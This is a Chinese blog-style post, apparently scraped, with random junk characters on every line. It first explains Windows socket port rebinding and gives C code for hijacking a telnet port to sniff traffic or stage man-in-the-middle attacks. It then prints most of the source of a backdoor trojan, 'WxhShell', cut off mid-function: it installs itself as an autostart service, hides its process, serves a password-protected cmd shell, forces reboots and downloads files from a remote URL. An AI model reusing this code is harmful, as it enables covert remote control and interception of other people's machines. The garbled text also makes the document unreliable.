在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
`+[e]dH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
F V8K_xj M),i4a?2 saddr.sin_family = AF_INET;
wu5]S)?* Pa%;[hbn saddr.sin_addr.s_addr = htonl(INADDR_ANY);
*/iD68r|- 1$Rua bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
P9~7GFas| =W(mZ#*vdY 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
HS"E3s8 d'~
k f# 这意味着什么?意味着可以进行如下的攻击:
Zgt:ZO 9(>]6|XS 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?mxBMtc
[A?Dx-R;( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?\MvAG7Y xc.(-g[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
V @A+d[ ~y.{WuUD 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
(9r\YNK "oZ-W?IK E 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
l+BJh1^ R}MdBE 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\_pP:e XUT,)dL 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Tbl~6P aqq7u5O1r #include
w=.w*?> #include
ZUJ! #include
t]|WRQvy8 #include
ig(a28% DWORD WINAPI ClientThread(LPVOID lpParam);
hu (h' int main()
bD_|n!3 {
zr~hGhfq WORD wVersionRequested;
'_& Xemz DWORD ret;
q<mDs$^K WSADATA wsaData;
/t=R~BJu BOOL val;
~1xln?Q SOCKADDR_IN saddr;
_-aQ.p ?T SOCKADDR_IN scaddr;
+uMOT#KjR int err;
p=m) lR9 SOCKET s;
%n-:mSus SOCKET sc;
]-d:wEj int caddsize;
UR|UGldt_T HANDLE mt;
%~ uMa DWORD tid;
n82N@z<8] wVersionRequested = MAKEWORD( 2, 2 );
8Fy$'Zx' err = WSAStartup( wVersionRequested, &wsaData );
fHTqLYd- if ( err != 0 ) {
9%e&Z'l printf("error!WSAStartup failed!\n");
>S4klW=*I return -1;
pI2g\cH> }
LaL.C^K saddr.sin_family = AF_INET;
UxI0Of&: [MfKBlA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
DC4,*a~ qkB)CY7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
PjriAlxD saddr.sin_port = htons(23);
<Cc}MDM604 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@vWf-\ {
nQ4 s printf("error!socket failed!\n");
@!z9.o; return -1;
VT1Nd }
M`!\$D val = TRUE;
x&qC~F*QR% //SO_REUSEADDR选项就是可以实现端口重绑定的
Jolr"F? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
rYUhGmg` {
^:g8mt printf("error!setsockopt failed!\n");
U$o\?4 return -1;
%/KN-* }
<Z%iP{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
AfmGA9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
/ sI0{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
B0Ql1x#x C%8nr8po if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
!e?;f=1+E {
EsR_J/:Qe ret=GetLastError();
U 2k^X=yl printf("error!bind failed!\n");
X]6Hgz66 return -1;
?3bUE\p }
S2nF13u listen(s,2);
sM)qzO2wh while(1)
>SO !{ {
C' x?riJ/ caddsize = sizeof(scaddr);
,c#IxB/0 //接受连接请求
v'Y)~Kv@! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
pE{ZWW[@+ if(sc!=INVALID_SOCKET)
n_5m+
1N {
L'k) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
D<9FSxl6 if(mt==NULL)
q]F2bo {
T1TKwU8l printf("Thread Creat Failed!\n");
4%wP}Zj# break;
My'u('Q% }
?c712a ? }
PM3kI\:)m CloseHandle(mt);
O>e2MT|#k }
o.yuz+ closesocket(s);
p%) 1(R8qM WSACleanup();
AF5.)Y@. return 0;
\Z0-o&;w }
RR h0G>* DWORD WINAPI ClientThread(LPVOID lpParam)
WE""be8 {
1U[8OM{$ SOCKET ss = (SOCKET)lpParam;
k.nq, SOCKET sc;
u,i~,M unsigned char buf[4096];
.6Jo1$+ SOCKADDR_IN saddr;
V_pWf5F long num;
P,y*H_@k DWORD val;
^CZ!rOSv DWORD ret;
(jYHaTL6Y' //如果是隐藏端口应用的话,可以在此处加一些判断
28qTC? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
@,
v'V! saddr.sin_family = AF_INET;
(`+%K_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
R2kR saddr.sin_port = htons(23);
#({0HFSC:j if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ZuIr=`"j {
4B>N[#-0= printf("error!socket failed!\n");
8>" vAEf return -1;
X`kTbIZ| }
#rSm;'%, val = 100;
QDCu if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0M^7#), {
! 6yoD ret = GetLastError();
1fBj21zG return -1;
pv<$
o }
2QwdDKMS_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
FncK#hZ. {
*?'nA{a)E ret = GetLastError();
A&%vog]O return -1;
94bmKV_ }
N"d
M+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
0BF'@r"; {
o HqBNTyH printf("error!socket connect failed!\n");
EA.4m3 closesocket(sc);
9PXG*r|D closesocket(ss);
Fd@n#DR ` return -1;
$'D|}=h<Y }
ut8v&i1? while(1)
;&B;RUUnTO {
c#'t][Ii //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Fj? Q4_ //如果是嗅探内容的话,可以再此处进行内容分析和记录
-xg$qvK //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ciRn"X=l num = recv(ss,buf,4096,0);
KQ0Zy if(num>0)
!#l>+9 send(sc,buf,num,0);
?&ie;t<7 else if(num==0)
l{tpFu9v break;
*x[ZN\$`Y num = recv(sc,buf,4096,0);
\.c if(num>0)
LWG%]m|C send(ss,buf,num,0);
&''lOS| else if(num==0)
(tQ#('(w break;
"G. L)oD }
o6L eC* closesocket(ss);
~DYUI#x closesocket(sc);
N!R>L{H> return 0 ;
f'
|JLhs }
TEQs\d O$d z=) VF8pH< ==========================================================
{%g]Ym= l/?Jp+] 下边附上一个代码,,WXhSHELL
zN2CI6 mx`QBJ ==========================================================
gaFOm9y.e ?N*m2rv #include "stdafx.h"
M7U:UV) BYj Eo #include <stdio.h>
| Q0Wv8/ #include <string.h>
DIrQ5C #include <windows.h>
3 !W
M'i #include <winsock2.h>
%K0
H?^. #include <winsvc.h>
F@ Sw #include <urlmon.h>
$oF0[ }S
DZPg|*KT #pragma comment (lib, "Ws2_32.lib")
V~nqPh!Jc #pragma comment (lib, "urlmon.lib")
^{f^%)X 3d<Z##`{4 #define MAX_USER 100 // 最大客户端连接数
U^aMh- #define BUF_SOCK 200 // sock buffer
7p"4rL #define KEY_BUFF 255 // 输入 buffer
'3B"@^] -U&k%X #define REBOOT 0 // 重启
p6)Jzh_/ #define SHUTDOWN 1 // 关机
]70V v6uXik #define DEF_PORT 5000 // 监听端口
Jz"Yb
Rr>nka)U #define REG_LEN 16 // 注册表键长度
| ]#PF* #define SVC_LEN 80 // NT服务名长度
IIj
:\?r 6"@`iY // 从dll定义API
jL^3/0"o typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
e,J
q<=j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#)A.yK`u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.W;,~.l typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
bF_SD\/ jP(|pz // wxhshell配置信息
VsIDd}~C% struct WSCFG {
Y52f8qQq int ws_port; // 监听端口
d@d\9*mn char ws_passstr[REG_LEN]; // 口令
_]oNbcbt( int ws_autoins; // 安装标记, 1=yes 0=no
{,:yZ&( char ws_regname[REG_LEN]; // 注册表键名
EV=/'f[++ char ws_svcname[REG_LEN]; // 服务名
mbSG char ws_svcdisp[SVC_LEN]; // 服务显示名
|aD8 char ws_svcdesc[SVC_LEN]; // 服务描述信息
a]=k-Xh char ws_passmsg[SVC_LEN]; // 密码输入提示信息
1}=@';cK* int ws_downexe; // 下载执行标记, 1=yes 0=no
4$~A%JN3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
m$XMq char ws_filenam[SVC_LEN]; // 下载后保存的文件名
TwdY6E3` Hl"^E*9x };
eMHBY6<~= $U*b;'o // default Wxhshell configuration
<m"fzT<" struct WSCFG wscfg={DEF_PORT,
H6o_*Y "xuhuanlingzhe",
}BFX7X 1,
B>]4NF\)H9 "Wxhshell",
M9C
v00& "Wxhshell",
4,g[g#g<q "WxhShell Service",
bd'io O "Wrsky Windows CmdShell Service",
ZovF]jf k "Please Input Your Password: ",
?^}
z 1,
9-ei#|Vnt[ "
http://www.wrsky.com/wxhshell.exe",
c_~tCKAZ "Wxhshell.exe"
kleE\8_ };
|K.J@zW s~i73Qk/ // 消息定义模块
@IE.@1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
p;xMudM char *msg_ws_prompt="\n\r? for help\n\r#>";
7T69tQZ< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
c^F@9{I char *msg_ws_ext="\n\rExit.";
d?6\ char *msg_ws_end="\n\rQuit.";
?1afW)`a.v char *msg_ws_boot="\n\rReboot...";
!(H
RP9 char *msg_ws_poff="\n\rShutdown...";
6<t<hP_3O char *msg_ws_down="\n\rSave to ";
xI>HY9i) <>shx;g^C char *msg_ws_err="\n\rErr!";
Pt=@U: char *msg_ws_ok="\n\rOK!";
/mK."5-cm .ri?p:a}w char ExeFile[MAX_PATH];
o;[cApiQ,2 int nUser = 0;
r"4&.&6 HANDLE handles[MAX_USER];
e'dx
Y( int OsIsNt;
]H-5 P*!~Z*" SERVICE_STATUS serviceStatus;
9O4\DRe5c SERVICE_STATUS_HANDLE hServiceStatusHandle;
|s!<vvp] 16-1&WuY@ // 函数声明
Z,_EhEm int Install(void);
Y 8Dn&W int Uninstall(void);
7W.z8>p int DownloadFile(char *sURL, SOCKET wsh);
]^>RBegJBO int Boot(int flag);
\Dx5= Lh void HideProc(void);
E51'TT9 int GetOsVer(void);
;659E_y> int Wxhshell(SOCKET wsl);
?910ki_ void TalkWithClient(void *cs);
zqCr'$ int CmdShell(SOCKET sock);
P0c6?K6 j int StartFromService(void);
fG"4\A int StartWxhshell(LPSTR lpCmdLine);
kN g{
[1Q: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
AMe_D VOID WINAPI NTServiceHandler( DWORD fdwControl );
jJ7 "9 v"x'rx# // 数据结构和表定义
F9J9zs*, SERVICE_TABLE_ENTRY DispatchTable[] =
0c
GjOl {
p)c"xaTP#F {wscfg.ws_svcname, NTServiceMain},
Ha/Gn!l {NULL, NULL}
k
& 6$S9 };
70F(`; ?
4v"y@v // 自我安装
k = int Install(void)
mV;)V8' {
GhC%32F char svExeFile[MAX_PATH];
LZ4Z]!V HKEY key;
_]Y9Eoz strcpy(svExeFile,ExeFile);
vSv:!5* j"Z9}F@ // 如果是win9x系统,修改注册表设为自启动
'>Uip+' if(!OsIsNt) {
Hdda/?{b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9jJ:T$} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i*61i0 RegCloseKey(key);
Tqm)- |[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jRBKy8?[C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
S<o\.&J RegCloseKey(key);
\E8CC>Jd return 0;
jmr1e).]; }
#XeEpdE }
F* _ytL }
7hAc6M$h; else {
A 6j>KTU A3A"^f$$ // 如果是NT以上系统,安装为系统服务
rrrn8b6
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#@Rtb\9 if (schSCManager!=0)
'/GZ/$a_l {
0czEA SC_HANDLE schService = CreateService
BDcA_=^R& (
h,x'-]q schSCManager,
O[5u6heNMr wscfg.ws_svcname,
*kq>Z 06'i wscfg.ws_svcdisp,
&\5%C\0Z< SERVICE_ALL_ACCESS,
Ey]P
>J SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Lw<%?F ( SERVICE_AUTO_START,
_xdFQ SERVICE_ERROR_NORMAL,
dk.VH!uVb svExeFile,
pKhV<MFB NULL,
9;L50q>s NULL,
~PA6e+gmL NULL,
%0lJ(hm NULL,
]cP$aixd NULL
G]E-2 _t7 );
7NP
Ny if (schService!=0)
/rzZU} 3[ {
@YI-@ CloseServiceHandle(schService);
+<7a$/L?4 CloseServiceHandle(schSCManager);
lQt* LWd[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
(R^Ca7F strcat(svExeFile,wscfg.ws_svcname);
A08{]E#v> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
m ol|E={si RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9D H}6fO RegCloseKey(key);
Ji;R{tZ.R return 0;
8+8P{_ }
D`@*udn= }
Qe4"a*l-r CloseServiceHandle(schSCManager);
"a]Ff&T- }
1J[|Ow }
JAS!eF ;2Za]%' return 1;
/u pDbP.O }
h%!N!\ YnwP\Arfq // 自我卸载
r1AG1Y int Uninstall(void)
[8rl{~9E {
X.)D"+xnH HKEY key;
q|xic>. )kt,E}609 if(!OsIsNt) {
`dm}|$X| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
iNEE2BPp RegDeleteValue(key,wscfg.ws_regname);
@WO>F G3 RegCloseKey(key);
{PQ!o^7y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
DS>qth RegDeleteValue(key,wscfg.ws_regname);
Sj9NhtF]f RegCloseKey(key);
M|\C@,F]8 return 0;
|s{[<; }
|C3~Q{A }
{on+
;, }
Jsw%.< else {
8\9s,W:5 c@)}zcw* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
l ArDOFl]x if (schSCManager!=0)
3PRK.vf {
x
L]Z3"p% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.J.|
S4D if (schService!=0)
Y]9C 8c) {
6^vHFJ$ if(DeleteService(schService)!=0) {
"6xTh0D
CloseServiceHandle(schService);
4kdQ h] CloseServiceHandle(schSCManager);
sI#r3:?i return 0;
TptXH? }
+i6XCN1= CloseServiceHandle(schService);
&dvL` }
5d5q0bb CloseServiceHandle(schSCManager);
;(~H(]D }
P'p5-l UK }
[y1
x`WOk9 [cvtF(, return 1;
&+-]!^2o }
"M4gl Ilv
_. // 从指定url下载文件
>TQnCG= int DownloadFile(char *sURL, SOCKET wsh)
&Ez]pKjB {
riY[p, HRESULT hr;
ma7@vD char seps[]= "/";
;sfk@ec char *token;
7) e#b char *file;
rulw6vTB( char myURL[MAX_PATH];
(Gpk;DD char myFILE[MAX_PATH];
t9+ME| V.12 strcpy(myURL,sURL);
u<a =TPAU token=strtok(myURL,seps);
sN9
SuQ while(token!=NULL)
.qG*$W2f {
)1 =|\ file=token;
nN[gAM ( token=strtok(NULL,seps);
;OY*`(Id }
N77EM $][$ e GetCurrentDirectory(MAX_PATH,myFILE);
kK il]L strcat(myFILE, "\\");
"
H;iAv strcat(myFILE, file);
+Rb0:r>kU send(wsh,myFILE,strlen(myFILE),0);
aIW W[xZ send(wsh,"...",3,0);
v#o<.
Ig hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
$ H2HVJ if(hr==S_OK)
Nw|m"VLb return 0;
4.}J'3 . else
SM@RELA'Lb return 1;
U2)y fhI `1qM Sq }
-|&5aH] ~lB:xVzn // 系统电源模块
R6/vhze4L2 int Boot(int flag)
'q9='TOk {
RmcQGQ HANDLE hToken;
K^fH:pV TOKEN_PRIVILEGES tkp;
-+w^"RBV XVNJ3/ if(OsIsNt) {
GO=3<Q{; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
)OgQ&,# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
D?<R5zp tkp.PrivilegeCount = 1;
6m!%X GZT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
i%a jL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
] f~mR_E if(flag==REBOOT) {
_aLml9f
W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
k6PHyt`3' return 0;
!mLD`62. }
=zXii{t else {
qH-':|h7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
H<bK9k)E return 0;
q*B(ZG }
h.D*Y3=< }
.ECT else {
?Pw( if(flag==REBOOT) {
-yH8bm'0" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"8|a4Y+F return 0;
P-~kxb9aa }
Lm}J&^> else {
eFiUB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
&@anv.D return 0;
G,6Zy-Y9 }
_6,Tb] }
9X6l`bo' Jf|6 FQo& return 1;
eX9Hwq4X44 }
lqe71](sK8 ddiBjp2.! // win9x进程隐藏模块
07:N)y, void HideProc(void)
aur4Ky> : {
V=LJ_T"z0 si|DxDx HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
wqyrs|P if ( hKernel != NULL )
pg;y\} {
2|C(|fD4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
"/MA.zEl0, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
v1Wz#oP FreeLibrary(hKernel);
16N+ }
WMw]W& 4`Z8EV return;
0p;pTc }
*MBu5
+u%e 0cxk)l% // 获取操作系统版本
ejuw+@ _ int GetOsVer(void)
k_}aiHdG {
Im* ~6[ OSVERSIONINFO winfo;
Zg#VZg1
2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
h72#AN GetVersionEx(&winfo);
78[5@U if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
0nbQKoF return 1;
*>,CG:`D else
]J%p&y+6 return 0;
@&G< Np` }
ZC\&n4~7 [c=T)]E1 // 客户端句柄模块
n6f int Wxhshell(SOCKET wsl)
5sc`L {
S`qa_yI)Ed SOCKET wsh;
n,E=eNc struct sockaddr_in client;
|VPJaiC~ DWORD myID;
vS$_H<;P Mx<?c while(nUser<MAX_USER)
Pb(XR+ {
.h;PMY+ int nSize=sizeof(client);
*+wGXm wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Pfv| K;3i if(wsh==INVALID_SOCKET) return 1;
ue;o:>G m.K@g1 G handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^XIVWf#`H if(handles[nUser]==0)
;=?f0z< closesocket(wsh);
dmkd.aP4 else
&S8Pnb)d nUser++;
zAxscDf' }
8'Y7lOXS WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
_FRwaFVJ3 U0Y;*_>4 return 0;
fZ*LxL }
}bg_?o;X} =Bq3O58+ // 关闭 socket
RrPo89o void CloseIt(SOCKET wsh)
+TQMA>@g< {
!k= ~5)x closesocket(wsh);
TL?(0]Hfe nUser--;
2unaK<1s ExitThread(0);
MzY~-74aF }
dD Zds
k+! HaUfTQ8 // 客户端请求句柄
ZM~kc|& void TalkWithClient(void *cs)
PU6Sa-fQ2, {
APC,p," UY!N"[& SOCKET wsh=(SOCKET)cs;
5:o$]LkOWC char pwd[SVC_LEN];
d? Old char cmd[KEY_BUFF];
lhk[U!># char chr[1];
.|pyloL. int i,j;
u6,NQ^4 RKY~[IQ, while (nUser < MAX_USER) {
9EE},D FccT@,.F if(wscfg.ws_passstr) {
.[E"Kb}= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&s|a\!>l //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
yz CQ //ZeroMemory(pwd,KEY_BUFF);
jBTXs5q i=0;
J9kmIMq-C while(i<SVC_LEN) {
FHu
-'; c~1X/,biA // 设置超时
nS53mLU) fd_set FdRead;
>Y h7By struct timeval TimeOut;
1%;o-F@ FD_ZERO(&FdRead);
:UyNa0$l:" FD_SET(wsh,&FdRead);
):Vzv TimeOut.tv_sec=8;
JE<zQf( & TimeOut.tv_usec=0;
Zy>iaG9} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
i09w(k? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
t#Q" ;e .!kO2/:6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
} +@H&}u pwd
=chr[0]; [`_ZlC
if(chr[0]==0xd || chr[0]==0xa) { JMUk=p<\
pwd=0; b* QRd
break; /%#LA
} =`b/ip5
i++; 4rmSo^vK
} Gl1Qbd0
7.r}98V
// 如果是非法用户,关闭 socket (\Iz(N["G
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nY#V~^|
} wO&edZ]zb^
#9{9T"ed
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9'qU4I
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YSvZ7G(m>
'%u7XuU-]
while(1) { .)7r /1o
?9_RI(a.}
ZeroMemory(cmd,KEY_BUFF); >#q2KXh
`+4>NT6cu9
// 自动支持客户端 telnet标准 AX Y.80+
j=0; T4O H,^J
while(j<KEY_BUFF) { =
}&@XRLJ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]y4(WG;:
cmd[j]=chr[0]; 3c"$@W:>
if(chr[0]==0xa || chr[0]==0xd) { g=*`6@_=
cmd[j]=0; _::q
S!
break; rc*iL
} 1|?8g2Vf
j++; h "7:&=e
} PJ=N.xf}
y;!q E~!3
// 下载文件 `Jvy~T
if(strstr(cmd,"http://")) { W;Rx(o>
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =5UT'3p>
if(DownloadFile(cmd,wsh)) )wmG&"qsP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lv`*+;1K
else 8>E_bxC
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z$0+jpG_s
} woH B![Q,
else { ,_JhvPWR,)
uN:|4/;{&
switch(cmd[0]) { pzo9?/-
>y2;sJ4]D%
// 帮助 wH=L+bA>a
case '?': { ^1a/)Be{_
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4k
HFfc
break; RGeM.
} :QndeUw
// 安装 GTj=R$%09
case 'i': { o]&w"3vOP0
if(Install()) P%#EH2J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d 6$,iw@>^
else 14[+PoF^A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `]Uu` b
break; 6 9 PTo
} 'f#i@$|]
// 卸载 +<G |Ru-
case 'r': { p19[qy~.
if(Uninstall()) @>wD`<U|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B? Vr9H 7n
else S~dD ;R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KjrUTG0oA
break; ~wMdk9RQ
} BFU6?\r
// 显示 wxhshell 所在路径 g>lJZD@
case 'p': { A`=;yD
char svExeFile[MAX_PATH]; .4M8
strcpy(svExeFile,"\n\r"); )HrFWI'Y
strcat(svExeFile,ExeFile); m])!'Pa(=
send(wsh,svExeFile,strlen(svExeFile),0); CQf<En|1
break; 9`"o,wGX3
} I)xB I~x
// 重启 e}x}Fj</(
case 'b': { r/X4Hy0!lT
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |ZEZ@y^
if(Boot(REBOOT)) ,0'Yj?U>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >m}U|#;W
else { K[wOK
closesocket(wsh); |x2+O
ExitThread(0); 1'skCR|!<
} ^i"C%8
break; 9,?\hBEu
} Lx{bR=
// 关机 yIm@m[B;
case 'd': { O/X;(qYd
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ? m$uqi
if(Boot(SHUTDOWN)) |-WoR u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dDuT,zP
else { 3)F9:Tzw1
closesocket(wsh); Cm~h\+"
ExitThread(0); \9U4V>p
} b#**`Y
break; =h?Q.vad
} .Z,3:3,]
// 获取shell 5yvaY
"B
case 's': { FmfPi
.;1
CmdShell(wsh); ?'xTSAn
closesocket(wsh); ,BK6a'1J
ExitThread(0); ;l^4/BR
break; ?;{fqeJz
} p*11aaIbp~
// 退出 -mSiZ
case 'x': { l!n<.tQW
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ] gN]Cw\L
CloseIt(wsh); Z_Gb9
break; Xx;RH9YYz
} x.V6C0|6"
// 离开 Cd4a7<-
case 'q': { 4Xna}7
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <OKzb3e
closesocket(wsh); x+kP,v
WSACleanup(); pNOVyyo>BW
exit(1); h[5<S&
break; KY)rkfo B
} "3!!G=s P
} M7Pvc%\)
} VZOf| o
R3MbTg
// 提示信息 o8!gV/oy
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QN %w\JXS
} ?/mk FDN
} M`W%nvEDE
(S:+#v
return; traJub
} oo{5:
\z}/=Qgc
// shell模块句柄 ]!>ThBMa
int CmdShell(SOCKET sock) ~|j :xM(i
{ 9NH"Ik*
STARTUPINFO si; 6E9y[ %+
ZeroMemory(&si,sizeof(si)); )P6n,\
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -*[?E!F
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =AFTB<7-^
PROCESS_INFORMATION ProcessInfo; E"ju<q/Q
char cmdline[]="cmd"; m){.{Vn]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \bt+46y@]
return 0; KRS_6G],{
} `={s*^Ta
zNE"5
// 自身启动模式 ;().
int StartFromService(void) f%LzWXA
{ >
,L'A;c}
typedef struct Oeo:V"
{ H].G%,2'
DWORD ExitStatus; UcCkn7}
DWORD PebBaseAddress; Da)rzr|}>3
DWORD AffinityMask; JPS7L} Kv
DWORD BasePriority; T-Od|T@[
ULONG UniqueProcessId; { VC4rA
ULONG InheritedFromUniqueProcessId; &9CKI/K:
